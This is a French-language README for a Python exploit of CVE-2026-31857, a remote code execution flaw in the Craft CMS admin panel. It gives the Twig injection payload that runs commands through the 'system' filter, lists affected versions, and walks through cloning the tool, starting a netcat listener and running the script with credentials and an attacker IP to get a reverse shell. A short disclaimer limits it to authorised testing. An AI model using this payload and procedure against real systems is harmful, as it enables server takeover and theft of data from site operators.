CVE-2026-31857 - Exploit RCE de Craft CMS

Exploit Python pour une vulnérabilité RCE dans le panneau d'administration de Craft CMS, déclenchée via le point de terminaison admin/actions/element-indexes/count-elements. L'injection passe par le champ elementIds d'une condition RelatedToConditionRule, qui est interprétée comme du Twig côté serveur et exploitée via le filtre system pour exécuter une commande arbitraire ({{[['<cmd>']|filter('system')]}}).

Vulnérabilité divulguée par NeoSprings

Versions affectées :

• >= 5.0.0-RC1, <= 5.9.8
• >= 4.0.0-beta.1, <= 4.17.3

Références :

• https://github.com/craftcms/cms/security/advisories/GHSA-fp5j-j7j4-mcxc
• https://nvd.nist.gov/vuln/detail/cve-2026-31857

---

Installation

$ git clone https://github.com/0xTatsuki/CVE-2026-31857.git
$ cd CVE-2026-31857
$ pip install -r requirements.txt

---

Utilisation

1. Démarrez l'écouteur avant de lancer l'exploit :

$ nc -lvnp <attacker_port>

2. Lancez l'exploit :

$ python3 CVE-2026-31857.py -t http://<craftcms_base_url> -u <username> -p <password> -i <attacker_ip> -P <attacker_port>

---

Avertissement

Cet outil est fourni à des fins éducatives et pour des exercices autorisés uniquement (CTF, tests d'intrusion sous contrat ou tests locaux). L'utiliser contre tout système sans autorisation explicite est illégal.